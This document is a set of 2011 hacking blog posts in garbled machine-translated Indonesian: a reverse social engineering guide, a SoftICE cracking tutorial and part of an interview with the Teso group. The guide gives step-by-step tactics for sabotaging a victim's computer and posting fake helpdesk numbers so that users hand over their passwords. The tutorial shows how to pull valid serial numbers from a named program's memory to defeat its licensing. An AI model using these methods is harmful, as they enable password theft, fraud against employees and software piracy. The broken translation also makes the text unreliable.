2. Reach tim MOV ESI, [ESP +0 C]
untuk kembali ke kotak bawah harus tekan Alt + C
Pilih D EIP dan jendela data akan muncul kode di mana Anda berada
pergi ke jendela data kunci Alt + D menggantikan 24 0C 27 5C
dan kita tekan tombol F4
Program terdaftar

Yah semua aku harus pergi sampai teman saya.

Social Engineering

2011-03-28T10:51:00.000+07:00

Reverse social engineering: Dia perlu bantuan Anda bersyarat.

Social Engineering: korban Anda biasanya tetap ragu-ragu.

Reverse social engineering: semua masalah yang dihilangkan, pertanyaan yang tersisa.

Social Engineering: Anda hampir tidak memiliki kontrol atas situasi.

Reverse social engineering: Anda memiliki kontrol penuh atas arah dan subjek pembicaraan.

Social engineering: pekerjaan persiapan hampir tidak diperlukan.

Reverse social engineering: pra-perencanaan hati-hati, membutuhkan sebelum akses ke lokasi aksi.

Social engineering: dapat digunakan di mana saja.

Reverse social engineering: hanya berlaku dalam keadaan tertentu.

Social engineering terutama didasarkan pada asumsi bahwa Anda - berdosa, berpura-pura bahwa Anda mengalami masalah dan Anda memerlukan bantuan operator kondisional lain. Tapi situasi sebaliknya: masalah timbul dari pengguna sistem hukum, dan dia (atau dia) meminta Anda, hacker, bantuan. Membantu pengguna untuk mengidentifikasi masalah, penyerang tanpa upaya khusus dapat menemukan nama pekerja 'dan password. Attack oleh BID terdiri dari tiga bagian:

• pengalihan;

• iklan;

• bantuan bersyarat.

Diversi - kontak pertama singkat dengan komputer, di mana penyerang menciptakan masalah yang mungkin memerlukan penghapusan.

Periklanan - menginformasikan pengguna bahwa Anda memahami masalah dari bidang komputer.

Bantuan - komunikasi dengan pengguna, di mana Anda mengatasi masalah pengguna, dan dia sendiri tanpa menyadarinya, memutuskan sendiri.

Sebelum saya mulai menjelaskan bagaimana menerapkan metode ini dan bahwa ia dapat memberikan, Anda harus memahami sendiri mengapa lebih baik bila pengguna berubah kepada Anda untuk membantu, bukan sebaliknya. Mari kita lihat pada titik-titik dari daftar kekurangan dari rekayasa sosial dalam bab sebelumnya, untuk menunjukkan bagaimana untuk membalikkan rekayasa sosial mengatasi kendala tersebut.

mengatasi kekurangan rekayasa sosial

Pengguna dapat diberikan peringatan tentang kebocoran informasi atau mengetahui tentang taktik SI

Mencoba untuk mengekspos seseorang rekayasa sosial yang tahu tentang itu, terutama programmer terampil dan hacker lainnya, Anda tidak mungkin untuk mencapai banyak. Bahkan jika orang tersebut tidak tahu tentang SI, karena itu, ia (atau dia) bisa cukup serius tentang peringatan "Jaga rahasia password Anda, bukan untuk kupitsya ke obrolan Anda. Social engineering dirancang untuk pengguna naif. Tapi tidak semua tidak.

Dalam kasus akses pengguna yang sah BID saran Anda. Akibatnya, ia berpikir Anda

orang kepada siapa Anda bisa mempercayai - anggota dari perusahaan atau agennya, yaitu orang yang memiliki dan mengetahui semua password dan protokol. Jadi dia punya alasan untuk tidak memberikan informasi ini. Dia bahkan berpikir ini tidak akan terjadi - karena ia entah bagaimana telah berubah untuk bantuan, lay out semua seluk beluk.

Perlu dicatat bahwa reverse social engineering ini bukan rekayasa sosial. Ini pendekatan masalah percakapan dengan pengguna di sisi lain, dan pengguna menjadi terbiasa dengan karakteristik biasa trik kerskimi nyaris tidak bisa melihat melalui itu. Selain itu, bahkan jika korban Anda cukup pintar untuk mengenali BID, orang ini akan sangat berkepentingan dari / menyelesaikan masalah, yang tidak memperhatikan apa yang terjadi. Dia (atau dia) membutuhkan bantuan Anda untuk memecahkan masalah, dia menyadari bahwa jika dia tidak setuju dengan Anda, Anda bisa membantunya.

Pengguna tidak dapat percaya atau mengetahui bahwa Anda tidak siapa dia berpura-pura menjadi

Kerentanan rekayasa sosial bahwa Anda adalah seorang pendamping untuk kuda hitam karena ia tidak tahu Anda secara pribadi. Selain itu, jika orang di ujung lain tahu bahwa Anda tidak siapa dia berpura-pura menjadi, mungkin berikut ID, atau telepon dengan ID pemanggil, dalam hal ini, password tidak akan muncul seperti disulap, sebelum "misterius teknik" dan "pengguna bingung" menjadi "manja" modem. TAPI! Di bagian belakang SR dari mereka yang mengetahui kata-kata ajaib, tidak ada alasan untuk mencurigai atau menipu Anda - itu mereka melihat ke Anda untuk meminta nasihat. Bahwa Anda membantu mereka dalam kesengsaraan mereka. Bahkan, ketika mereka memanggil Anda, Anda berhak untuk bertanya siapa mereka sebenarnya. Keselamatan - pertama dan terutama.

Pengguna tidak memiliki alasan untuk membantu Anda, atau dapat memberikan yang tidak benar, informasi menyesatkan

Apa yang terutama berkaitan dengan orang yang Anda dikenakan rekayasa sosial, terlepas dari apakah itu membantu Anda atau tidak?

Jika saya, tanpa lelah bekerja di kantor manapun, atau sekretaris, aku hanya akan datang menjadi marah jika merepotkan di tengah hari idiot beberapa menelepon saya di telepon dan memintanya untuk memberikan beberapa menit waktu berharga saya dan memberitahu informasi bahwa ia mungkin tidak tahu! Aku hanya bisa bryaknut ke dalam tabung yang pikiran vzbredet, jika hanya untuk melarikan diri. Ketika reverse engineering sebagai Anda tahu bahwa lawan bicara Anda membutuhkan bantuan Anda. Bahkan guru besar di antara pengguna paling tahu akan menarik bagi Anda, mengetahui bahwa Anda dapat dengan cepat dan efektif mengidentifikasi dan memecahkan masalah tanpa membuang-buang waktu dengan sia-sia. Pengguna ini tahu bahwa kunci untuk memecahkan masalah adalah dengan Anda, dan jika dia menerima itu, waktu berikutnya akan dapat mengatasi masalah ini sendirian.

Pengguna dapat melaporkan manajer panggilan Anda untuk Keamanan

Berpengalaman pengguna langsung menebak jika Anda mencoba untuk mengekspos rekayasa sosial mereka. Dia bisa pergi dan memberitahu orang lain apa yang Anda mencoba untuk mencuri password. "Lainnya" - rekan, bos, manajer, komputer, seseorang yang perannya Anda mencoba untuk bermain, penjaga keamanan atau petugas keamanan. Tak satu pun dari mereka tidak akan membantu Anda di masa depan, bahkan jika Anda tidak terjebak sekaligus, atau tidak mengurangi ke nol, peluang Anda untuk hacking. Pengungkapan, tentu saja, bukan hadiah. Tetapi dalam reverse engineering Anda selalu mendapatkan teman-teman. Ketika Anda membantu orang untuk mengatasi kesulitan, mereka gembira memulai sebuah gosip tentang sopan santun dan respon - dan itu berarti panggilan lebih dan password.

Penjelasan atas memiliki tiga tujuan. Aku ingin kau mengerti mengapa seperti alat yang ampuh, sebagai ND klasik mungkin sengaja menelan, dan bagaimana BID dapat menghindari kesalahan-kesalahan ini. Saya menegaskan sebagai berikut: rekayasa sosial tidak bisa lagi menjadi senjata utama dalam gudang hacker modern tanpa peringatan pengguna. Pengguna biasa semakin berhati-hati dan bijaksana ketika datang ke hal-hal intim seperti seperti password dan keamanan komputer. Pengguna biasa telah membaca lebih lanjut tentang cara hacker masuk ke sistem. Mereka hadir kuliah pada keamanan komputer, yang mengatur perusahaan mereka, perguruan tinggi dan unit polisi setempat. Dalam sistem mulai memasukkan peringatan tentang non-pengungkapan informasi ini padat oleh majikan mereka dan kewarasan mereka sendiri. Dan saya sendiri - tidak bahkan aku! - Katakan kepada mereka bahwa ada penjahat yang bermimpi merusak file mereka. Saya sangat meragukan bahwa akan ada saatnya ketika semua pengguna komputer akan cukup informasi untuk menutup mulut. Mungkin dalam beberapa berbaring perusahaan memakai ponsel mereka pada waktu tunda dan menghubungkan mereka ke monitor vokal. Kemudian melarang ucapan pidato akan terdeteksi dan dihancurkan sebelum elektron yang membentuk sinyal untuk meninggalkan bagian dalam kabel gedung. Bahkan jika hal semacam itu menjadi biasa, atau jika 95% dari orang yang berkomunikasi dengan komputer, ingin melakukan jauh dengan rekayasa sosial, namun tetap lima persen, akan ratusan trik hacking lainnya, baru dan lama, akan tetap Reverse Social Engineering, membantu hacker dalam yang sulit kasus.

teknik pengalihan reverse social engineering

Langkah pertama dari BID - masalah di komputer Anda pilih atau membuatnya sehingga pengguna tidak dapat bekerja di atasnya. Biasanya, ini berarti membuat masalah pada sebuah terminal, workstation atau komputer, user tidak bisa login seperti yang diharapkan. Masalah harus sulit untuk mendeteksi, tapi mudah untuk memperbaikinya. Berikut ini adalah daftar lima ide umum, disusun dalam urutan waktu yang dihabiskan pada mereka dan sejauh mana kenalan Anda dengan sistem:

• Mengubah setiap parameter pendatang baru yang tidak diketahui, atau seperti, yang mereka tidak berpikir. Sebagai contoh: mengatur port printer default, layar warna, macro, kode tersembunyi dari printer, peripheral, instalasi teknis. Instal file dalam "read only", atau mengganti nama mereka, atau membuat mereka tidak terlihat dalam direktori. Contoh: jika file kerja word processor yang disebut WP.EXE, ganti namanya menjadi WP $ A $..

• Interferensi dengan perangkat keras. Sebagai contoh: switch monitor warna dalam mode monokrom, drive berubah, menonaktifkan keyboard dari sekering vytashit komputer.

• Menginstal program penduduk besar, yang menempati banyak memori. Pengguna ini tidak mengerti mengapa ia tidak dapat menjalankan program tersebut.

• Jalankan model program, mirip dengan model dari sistem operasi, yang akan memberikan banyak pesan kesalahan yang mengerikan.

PERINGATAN! Pengalihan seharusnya tidak menyebabkan kerusakan fatal bagi komputer Anda atau pengguna! Jangan buang file dan direktori: ada kemungkinan bahwa mereka tidak akan dikembalikan kemudian. TIDAK menginstal virus: mereka mudah untuk keluar dari kontrol. Jangan membuat perubahan yang membuat sistem operasi menolak untuk boot: ketika pengguna memanggil Anda untuk menyelamatkan, ia tidak mungkin ada di tangan sebuah floppy disk untuk me-load DOS!

izin pengalihan

Katakanlah, trik bekerja dan memanggil Anda. Setelah boot sistem dan Anda akan menemukan bahwa masalah tersebut tidak akan pergi, Anda harus memberitahu pengguna apa yang dia (atau dia) harus lakukan untuk memperbaiki masalah. Tentu saja, Anda hanya bisa memberinya petunjuk eksplisit seperti:

"Ketik perintah" mengubah nama WP. $ A $ kepada WP.EXE "..." Tetapi jika pengguna cukup berpengalaman, dia pasti akan melihat trik. Bagaimana bisa mendapatkan sekitar rintangan ini? Anda harus memberikan pengguna gelisah rekomendasi tersebut, yang tenang dia.

Jika pengalihan dikaitkan dengan perangkat keras, menempatkan solusi perangkat lunak disk. Sebagai contoh:

"Masukkan direktori dari pengolah kata, ketik" SETUP Kembali "dan tekan. Sekarang coba untuk menjalankan program lagi. " Dalam hal ini, SETUP-file yang Anda ditempatkan pada disk, dan berisi instruksi untuk mengubah nama, dan juga sebagai tim untuk menghancurkan diri setelah eksekusi.

Masalah yang terkait dengan hardware, sulit untuk mendefinisikan atau menjelaskan melalui telepon, tetapi sesuatu voobshe di BID jarang digunakan perangkat keras. Jika situs Anda akan cukup waktu untuk membuat masalah fisik pada komputer yang tidak dikenal, Anda harus memiliki cukup waktu dan kemudian untuk memilih informasi yang Anda butuhkan.

iklan teknik sumbu

Ada lima teknik periklanan utama yang dapat membuat pengguna Anda untuk meminta bantuan Anda:

• Penggantian catatan. Jika Anda melihat ditempel di samping komputer atau langsung pada selembar kertas dengan nomor telepon dari departemen komputer, keluarkan dan tongkat bukan catatan dengan nomor Anda sendiri (atau nomor dari telepon lain, di mana Anda bisa duduk di panggilan tunggu).

• Menempatkan iklan. Letakkan di papan buletin (biasanya, tapi tidak elektronik!) A, besar dan terang, iklan yang solid dengan tipe konten:

Helpdesk

Apakah Anda memiliki masalah dengan komputer Anda? CALL U. S. GRATIS NOMOR BARU KAMI:

(123) ABC-WXYZ

Helpdesk

Jangan lupa untuk menempatkan nama dan alamat perusahaan di mana Anda ingin mendapatkan suatu tempat di sudut iklan - untuk berpikir bahwa pengumuman ada hubungannya dengan itu. TATA LETAK iklan seperti mana-mana, atau hanya tersebar di desktop, terutama di sebelah komputer di mana Anda membuat pengalihan Anda.

• Sosial rekayasa. Panggilan untuk hari, atau bahkan beberapa jam sebelum sabotase dan biarkan dia yang akan datang ke telepon, nomor baru ke panggilan bantuan dari departemen komputer (misalnya kamar Anda). Mintalah untuk tetap berguna, bukan untuk mencari, jika perlu. Tanyakan apakah pasangan Anda satu-satunya pengguna terminal, dan jika jawabannya tidak, mintalah untuk melaporkan masalah baru untuk pengguna lain.

• Recuttings direktori. Menghapus direktori telepon eksternal perusahaan dan menambahkan nomor Anda ke dalam daftar, atau dipotong jumlah bantuan teknis yang ada kondisional, memasukkan bukannya Anda sendiri, atau terbaca mencetak nomor Anda di katalog.

• Interaktif iklan. Langsung dalam proses mencoba untuk sabotase tempat lain catatan di papan buletin (kali ini - E!) Dengan bantuan komputer nomor Anda. Isu nomor mungkin salah satu dari prosedur dan program pengalih perhatian anda. Sebagai contoh, Anda dapat mengubah nama WP.EXE, kemudian membuat model dari sebuah pengolah kata, yang akan masuk ke sistem operasi setelah beberapa penekanan tombol, meninggalkan warna kacau di layar, simbol, dan pesan berikut:

XERROR 3 - 90v.32a fdox Konsultasikan atau hubungi Jim di dukungan teknis @ (123) ABC-WXYZ

Bila iklan menciptakan, pastikan pengguna mengetahui bahwa ia memanggil nomor eksternal (sehingga ia tahu bahwa ia pertama kali harus menarik diri dari PBX perusahaan). Lakukan ini sampai Anda dapat memperoleh kantor sendiri atau nomor telepon domestik (misalnya, memasuki ruangan, sementara bosnya sedang berlibur).

Buang waktu?

Tentu saja, pra-perencanaan dan sangat subversif dan sangat ulekatelny lucu. Tetapi jika mereka layak usaha? Mengapa tidak puas dengan social engineering sederhana dan tidak khawatir tentang bagaimana Anda bereaksi terhadap orang di ujung lain?

Yah, pertama-tama, ini adalah bodoh. Apalagi mengingat fakta bahwa kebanyakan orang di lembaga-lembaga yang Anda akan retak, akan

cukup baik tentang keselamatan. Anda akan harus mengakui, karena berbagai alasan, bahwa mereka tahu siapa Anda, bahkan sebelum Anda membuka mulut Anda. Dan jika mereka tahu siapa Anda, mereka tidak akan membantu Anda.

Berikut ini adalah faktor yang relevan di atas: melakukan reverse engineering, Anda mendapatkan teman di sebuah perusahaan yang tidak diketahui. Nyaris melanggar, Anda tidak tahu, jangan duduk di sana seseorang ekor Anda sampai Anda mendengar dari orang-orang yang "dalam". Jika Anda telah membuktikan diri untuk beberapa pengguna, Anda dapat memanggil dia sedikit setelah istirahat dan bertanya: "Halo, kau ingat saya? Saya telah membantu Anda mengatasi masalah ... Ingin bertanya, tidak bisa mendengar apakah Anda miliki tentang sesuatu yang mirip, atau bahkan tentang beberapa keanehan dengan sistem? ". Jika bicaranya Anda telah mendengar tentang upaya untuk masuk ke sistem atau kegagalan dalam pekerjaannya, ia pertama kali memberitahu Anda tentang hal itu. Anda bisa memintanya untuk mengirimkan semua rumor tentang "hacker", dll Dan jika hacking Anda dan menemukan, misalnya, pengiriman pesan kepada seluruh karyawan dengan permintaan untuk mengubah password, karena sistem memasuki hacker, teman tidak curiga Anda lagi untuk menelepon Anda dan bicara tentang apa yang terjadi. Mendukung seorang anggota staf dipilih oleh Anda objek, benar-benar, layak kesulitan awal yang mungkin timbul dalam pelaksanaan sabotase.

SoftICE untuk Pemula

2011-03-28T10:42:00.000+07:00

Anda tidak ingin memiliki sekitar sebuah program yang memungkinkan Anda untuk memecahkan mainan, shareware dan software trial, dan segala sesuatu yang berjalan pada komputer? Saya pikir itu akan. Dan program seperti itu ada! Dan cukup lama. Ini SoftICE dari NuMega Software. Cukup diasumsikan bahwa penggunaan adalah programmer takdir dipilih berpengalaman dalam arsitektur prosesor, perangkat keras, dalam bahasa assembly dan prinsip-prinsip sistem operasi. Namun pada kenyataannya, dan pengetahuan yang minim sudah cukup untuk bekerja dengan program ini. Pertama, kami memperkenalkan Anda tali.
SoftICE adalah debugger paling kuat sampai saat ini (yaitu, prog, yang dapat membongkar bata demi bata setiap prog lainnya dan setiap batu bata dari perubahan seperti yang Anda inginkan). Ini berarti bahwa dapat digunakan untuk mengeksplorasi segalanya: dari kernel Windows ke program di C + +. Organisasi ini dibentuk untuk debugging aplikasi 32-bit, driver untuk Win NT dan Win 95/98 dan program-program lain di bawah Win dan Dos (jadi setidaknya mengatakan pengembangnya;). Tetapi orang-orang dari seluruh dunia telah menemukannya aplikasi tambahan:)) Untuk apa yang merupakan setiap Trial-program? Tidak lebih dan tidak kurang dari 32-bit WIN aplikasi. Dan debug nya? Itu benar - penghapusan perlindungan: baik ujian waktu, atau periksa Key-file, atau apa pun.

Karena kenyataan bahwa banyak program telah dibajak oleh SI, vendor mulai menjahit di kreasi mereka dari kode memeriksa keberadaan SI dalam sistem dan, jika ditemukan, tidak memberikan pekerjaan program di semua (mereka pikir ini akan membantu - yang naif)!. Oleh karena itu, Anda mungkin perlu beberapa program yang menyembunyikan debugger dari mencongkel mata. Saya menyarankan Anda untuk mengunjungi www.dore.ru, atau lebih tepatnya www.dore.ru departemennya / files / debugger, yang menyajikan prog yang bermanfaat, yaitu dirinya SI di bawah WIN 95/98 dan di bawah WIN NT, lotion, mencegah prog lain menentukan adanya SI dalam sistem, tambahan plug-in untuk itu, membuat bekerja dengan dia lebih menyenangkan dan nyaman. Jika Anda membutuhkan SoftICE untuk Win ME, Win 2000 atau Win XP, kemudian menulis ulang update yang sesuai dari produsen: www.numega.com / drivercentral / icecentral.asp. Di bawah setiap update ditulis sebagai untuk menginstalnya. Jadi, jika Anda sudah memiliki SoftICE diinstal, Anda dapat melewati bagian berikutnya, jika tidak, maka menerimanya dicatat.

Instalasi

setup adalah kompleks apa-apa, hanya setelah itu HARUS memodifikasi file winice.dat (itu harus di direktori tempat anda menginstal SI), yaitu, hapus tanda komentar itu beberapa baris:

; ***** Contoh simbol ekspor yang dapat dimasukkan untuk Windows 95 *****

; Ubah path ke drive yang sesuai dan direktori

EXP = c: \ windows \ system \ kernel32.dll - ini;

EXP = c: \ windows \ system \ user32.dll - garis yang diperlukan;

EXP = c: \ windows \ system \ gdi32.dll - komentar;

Hal ini diperlukan untuk melihat nama fungsi API Win (fungsi standar yang digunakan oleh program pada saat berjalan di bawah Win). Dan pada mereka kami akan menangkap program, tetapi lebih pada nanti.

Apa yang benar-benar dapat membuat SoftICE dan bagaimana mengaturnya?

Umumnya SoftICE terdiri dari beberapa jendela: register, data, kode dan perintah. Pada jendela kode yang Anda lihat teks program dalam bahasa assembly, dan di jendela perintah untuk mengetik perintah yang mengendalikan SI. Menavigasi antara jendela merasa nyaman dengan mouse, tetapi bisa dilakukan tanpa itu, walaupun sulit untuk memulai.

Dasar perintah (sangat penting)

BPX alamat / nama fungsi - untuk mengatur alamat atau panggilan untuk breakpoint (masih menyebutnya istirahat opintom).

Alamat BPM - set breakpoint pada alamat memori.

BL - daftar semua breakpoints terpasang (masing-masing memiliki nomor sendiri).

BD jumlah dari breakpoints - untuk membuat titik dengan angka yang sesuai tidak aktif.

BE jumlah breakpoints - tim, sebaliknya sebelumnya.

SM jumlah breakpoints - Menghapus sebuah breakpoint.

Bahkan, tim lain Anda dan saya tidak perlu. Jadi, dengan bantuan SI adalah mungkin untuk membekukan semua program kapan saja (misalnya, disebut fitur standar atau perintah dijalankan pada alamat tertentu). Bila Anda crack prog, Anda dapat membandingkan dengan ahli bedah, menyodok di sekitar manusia batiniah, komputer Anda - dari meja operasi, dan SI - dengan pisau bedah, gunting, dan anestesi.

Jika Anda ingin istirahat beberapa jenis program, tugas utama Anda adalah untuk mengetahui pada titik untuk memanggil SI (jika Anda memperpanjang analogi, dalam apa tempat untuk dipotong:) dan cari program di-pasien. Oleh karena itu, Anda dan saya harus memasang perangkap untuk menangkap mereka dalam program saat itu adalah salah satu membandingkan nomor serial Anda ke kanan, atau terlihat, apa tanggal hari ini (sehingga mengatakan: "Aha!" Sisa dari saya berakhir Daftar Facebook, dan aku tersinggung dan tidak. Aku akan bekerja ")!.

Perangkap. Dan dia benar-benar hacking

Jadi, kita harus memilih kapan harus mengambil kendali program. Cara termudah untuk memecahkan menekuk menggunakan fungsi Win API. (Ini adalah fitur standar yang memfasilitasi pemrograman bawah WIN Sebagai contoh, jika Anda ingin membuat sebuah jendela pada desktop, Anda cukup memanggil beberapa fungsi dengan parameter dan tidak menulis kode yang menciptakan jendela dari awal..) Artinya, Anda akan perlu menentukan untuk menantang setiap fungsi ini akan merespon SI. Algoritma tindakan Anda harus sebagai berikut:

1. Putuskan apa yang Anda akan menangkap program anda. Apa jenis fungsi API.

2. Set dalam tantangan kepada breakpoint (bpx nama fungsi).

3. Jalankan prog anda dan memprovokasi panggilan ke fungsi ini.

4. Menekan F11, pergi ke suatu tempat dalam program (di alamat itu), di mana hal itu menyebabkan.

5. Menetapkan breakpoint pada baris perintah pelaksanaan di alamat ini.

6. Sekali lagi memicu panggilan untuk fungsi ini.

7. Melihat register, Anda mempelajari data yang diperlukan (misalnya, nomor seri) atau alamat dari baris di mana hasil olahan dari fungsi panggilan (ini dapat setiap instruksi perakitan: cmp atau melompat).

8. Hiew berjalan atau sesuatu seperti itu, membuat perubahan yang diperlukan (cmp bisa diganti dengan perintah nop kosong, tetapi beberapa jenis perintah lompat bersyarat - alamat jmp tanpa syarat yang sama). Hal ini karena beberapa paragraf terakhir adalah bahwa pengetahuan assembler sangat diinginkan saat bekerja dengan SI.

Yang paling sering digunakan Win API fungsi:

MessageBoxIndirect - Bekerja dengan kotak pesan. Digunakan dalam aplikasi 16-bit.

MessageBox - Bekerja dengan kotak pesan. Digunakan dalam aplikasi 16-bit.

MessageBoxA - sama, tapi aplikasi 32-bit.

MessageBoxIndirectA - hal yang sama seperti MessageBoxIndirect, tapi aplikasi 32-bit.

GetWindowText - baris input biasa seperti Windows Edit. Digunakan dalam aplikasi 16-bit.

GetWindowTextA - sama, tapi aplikasi 32-bit. Byte string digunakan.

GetDlgItemText - kurang lebih sama dengan fungsi sebelumnya, perbedaan dalam detail. Digunakan dalam aplikasi 16-bit.

GetDlgItemTextA - sama, tapi aplikasi 32-bit. Byte string digunakan.

Perlu dicatat bahwa GetWindowTextA dan MessageBoxA sangat sering digunakan saat memeriksa nomor seri. Sebelum melanggar merekomendasikan melihat properti yang melanggar program dan menentukan kapasitas (klik pada label, klik kanan kotak dialog Properties muncul, ada di sudut kiri atas biasanya ditulis "16" atau "32 bit", ini adalah aplikasi bit).

Praktek

Saya suka teori kalian semua ditata. Sekarang praktek: contoh klasik. Mungkin contoh adalah agak sulit, tetapi bahkan jika Anda akan ingat setidaknya sebagian kecil, dapat merasa seperti ahli bedah, seorang pembunuh berantai mencari semua korban baru. Jadi prog-hubungan pasien disebut TaskLock. Kami akan menangkap GetWindowTextA (perintah ": getwindowtexta bpx"). Anda dapat memeriksa, apakah perintah breakpoint ": bl". Sebagai hasilnya, Anda akan melihat sesuatu seperti: "00) BPX USER32 GetWindowTextA C = 01!". Berikutnya PUSH F5. Lanjutkan. Coba masukkan beberapa nilai di jendela pendaftaran dan klik OK. Anda akan menerima pesan bodoh mengatakan bahwa kode tersebut salah. Jadi bukan GetWindowTextA fungsi. Mari kita coba GetDlgItemTextA. Menghapus breakpoint lama ": bc 0" (0 - adalah jumlah breakpoints dalam daftar breakpoint) dan menetapkan baru ": getdlgitemtexta bpx". Masukkan nomor lagi. Sekarang Anda berada dalam SoftICE, di awal fungsi GetDlgItemTextA. Untuk sampai di sana, di mana ia dipanggil, tekan F11. Sekarang anda berada di SGLSET.EXE modul. Sekarang Anda sudah bisa melarang reaksi ke fungsi panggil ": bd 0.

Baris pertama di jendela kode tampak seperti ini: "CALL [USER32 GetDlgItemTextA!]"

Untuk melihat garis di atasnya, aku tekan Ctrl + Up ("tangan up") sampai waktu tersebut hingga Anda melihat bagian bawah kode. Jika Anda tidak mengerti apa-apa dalam perakit, saya telah menambahkan komentar yang mungkin bisa membantu.

RET; Akhir fungsi

PUSH EBP; awal fungsi lain

MOV EBP, ESP; ...

SUB ESP, 0000009C; ...

PUSH ESI; ...

> LEA EAX, [EBP-34]; EAX =-EBP 34

PUSH EDI; ...

PINDAHKAN ESI, ECX; ...

PUSH 32; Max. panjang string

> PUSH EAX; Alamat buffer teks

PUSH 000003F4; Identifier

PUSH DWORD PTR [ESI +1 C]; dialog ID

CALL [USER32 GetDlgItemTextA!]; Dapatkan teks

perintah PUSH berarti nilai toko untuk penggunaan masa depan. Saya sudah menandai baris penting 'karakter'. Melihat kode ini, kita melihat bahwa alamat buffer teks yang tersimpan dalam daftar EAX, dan itulah EBP EAX-34h. Oleh karena itu berguna untuk melihat EBP-34h ": d ebp-34". Anda harus melihat teks yang Anda masukkan dalam kotak dialog. Sekarang Anda harus menemukan tempat di mana nomor Anda dibandingkan dengan nomor seri yang sebenarnya. Oleh karena itu, kami secara bertahap menelusuri program menggunakan F10 sampai sampai hits sesuatu di-EBP 34. Dalam waktu kurang dari beberapa detik, ketika anda menemukan kode berikut:

> LEA EAX, [EBP + FFFFFF64]; EAX = EBP-9C

LEA ECX, [EBP-34]; ECX =-EBP 34

PUSH EAX; Toko EAX

PUSH ECX; Toko ECX

> CALL 00403DD0; fungsi Panggilan

ADD ESP, 08; menghapus informasi yang tersimpan

TEST EAX, EAX; Cek nilai fungsi

JNZ 00402BC0, Jumps, jika tidak "nol"

Saya berpikir bahwa itu tampak seperti panggilan untuk membandingkan dua string. Fungsi ini bekerja seperti ini: input - dua baris di pintu keluar - 0 jika mereka sama, dan nilai lain, jika tidak sama. Dan apa program untuk membandingkan beberapa jenis sesuai dengan yang Anda masukkan di kotak dialog? Ya, dan kemudian untuk memeriksa akurasinya. Oleh karena itu, nomor ini bersembunyi di [EBP + FFFFFF64]. SoftICE tidak cukup bekerja dengan benar dengan angka negatif, sehingga alamat yang sebenarnya harus menghitung: 100000000 - FFFFFF64 = 9C.

Anda dapat melakukan perhitungan ini langsung dalam SoftICE: "0-FFFFFF64?". Nomor 100000000 terlalu besar untuk SoftICE, dan pengurangan 0 memberikan hasil yang sama. Akhirnya sudah waktunya untuk melihat apa yang terletak di EBP-9C (perintah ": d ebp-9c"). Pada jendela data SoftICE Anda akan melihat garis panjang nomor - nomor seri! Tapi program memiliki dua jenis registrasi, oleh karena itu, dua nomor seri yang berbeda. Oleh karena itu, setelah Anda dicatat pada nomor seri bumazhechku pertama, pergi untuk melacak program menggunakan F10. Kami tiba di potongan kode berikut:

> LEA EAX, [EBP-68]; EAX =-EBP 68

LEA ECX, [EBP-34]; ECX =-EBP 34

PUSH EAX; Toko EAX

PUSH ECX; Toko ECX

> 00403DD0 CALL; lagi panggilan

ADD ESP, 08; menghapus informasi yang tersimpan

TEST EAX, EAX; Cek nilai fungsi

JNZ 00402BFF, Jumps, jika tidak "nol"

Dan apa yang anda lihat di EBP-68? Nomor seri kedua! Itu semua ...

Teso

2011-03-28T09:03:00.000+07:00

Para Teso kelompok hampir tidak ada informasi di web. Tidak ada

biografi atau artikel tentang intrik-intrik internal, tidak ada wawancara - apa-apa
Selain teso.net halaman resmi www.team. Tapi, jika hati-hati
membaca dokumentasi atas berbagai program dan
informasi pada halaman kelompok hacker terkenal, kita dapat melihat
bahwa banyak orang melewati mereka grits Teso dan rasa hormat. Seperti
praktek umum dimulai Kevin Mitnick, di mana
kulgritsy - fashion (dan sebagai sahabat karib bagus!). Tetapi orang-orang di dunia
yang serius terlibat dalam keamanan komputer upeti ini
menghormati bukan untuk semua orang.
Terlepas dari kenyataan bahwa kehidupan pribadi Teso tertutup bagi orang luar, yang sangat
kelompok yang terkenal di kalangan komputer. Tim yang
merilis satu set eksploitasi (7350fun, 7350wurm, bsd,
telnet, 0day), sebuah Adore rootkit populer dan puluhan karya ilmiah di
tema "Internet Security". Hari ini kita ada di studio: salah satu yang paling
yang aktif Membury - bangsat. Dia setuju untuk berbagi dengan pembaca
] [Pikiran Anda dan menceritakan sedikit tentang kelompok, yang telah
bekerja lebih dari tiga tahun.
Bangsat dari Teso:
mindw0rk: Hai, bangsat. Mari kita mulai?
Bangsat: Ok. Hanya satu syarat. Aku tidak akan mengungkapkan nama atau apapun
lain informasi tentang anggota lain dari Teso, dan hanya akan mengekspresikan
pendapat mereka, dan bukan pandangan resmi seluruh kelompok.
mindw0rk: Setuju. Jadi, ketika Teso lahir dengan
tujuan dan yang merupakan pendiri?
Bangsat: Dibentuk pada tahun 1998 di Austria, pertama kali dalam dirinya
termasuk perwakilan dari negara ini. Pada awal setiap serius
Proyek tidak - hanya beberapa orang telah berlangganan, maka mereka
bersatu. Pada tahun 1999, dekat dengan Berlin adalah peristiwa besar bagi
CCCamp - tertarik pada keamanan komputer tersebut. Ini
di sana, sebagai hasil perundingan ramah dan usulan muncul
nyata tim Teso. Kelompok ini kemudian mulai cepat
tumbuh, menarik untuk jajarannya cowok berbakat. Selama
pembentukan tujuan yang diberikan tidak. Menghormati
satu sama lain, bekerja sama, berbagi pengetahuan dan keterampilan untuk
Tim ramah, pada akhirnya - mungkin tidak salah jika saya katakan,
bahwa ini adalah stimulus untuk asosiasi kita.
mindw0rk: Beritahu kami sedikit tentang tim Anda. banyak dari Anda Bagaimana sekarang, di mana
hidup, apa yang usia rata-rata dalam kelompok dan jenis hubungan dengan masing-masing
lainnya?
Bangsat: Kami sekarang memiliki tim sekitar 15 orang, sebagian besar
yang tinggal di Jerman dan Austria. Tapi ada perwakilan dan lebih
jauh negara - Amerika Serikat dan Australia, misalnya. Kelompok bukan
anak laki-laki muda 19-22 tahun. Hubungan - persahabatan. Apakah
Tentu saja perselisihan dan perbedaan - dalam sebuah tim lebih dari selusin orang
ini adalah normal. Tapi, meskipun segalanya, kita memperlakukan satu sama lain dengan
Hormat kami, konflik sangat serius tidak muncul
mindw0rk: Dan bagaimana Anda mendapatkan orang-orang baru? Sendiri, atau mengundang
bersedia untuk mempertimbangkan saran? Anda dapat bergabung
beberapa pembaca kami?
Bangsat: Setiap orang yang baru kita menerima hasil
suara semua anggota aktif. Berikut adalah cara - salah satu dari kami
orang menawarkan seseorang untuk mengundang ke dalam kelompok, kita akan dan
membahas usulan tersebut. Setiap pejabat Membury Teso
hak untuk menolak pendatang baru, tetapi jika seluruh kelompok yang didukung dengan suara bulat -
maka kita menerimanya. Biasanya kami mengundang hanya orang-orang
yang benar-benar dapat memberikan kontribusi yang pasti terhadap pengembangan Teso,
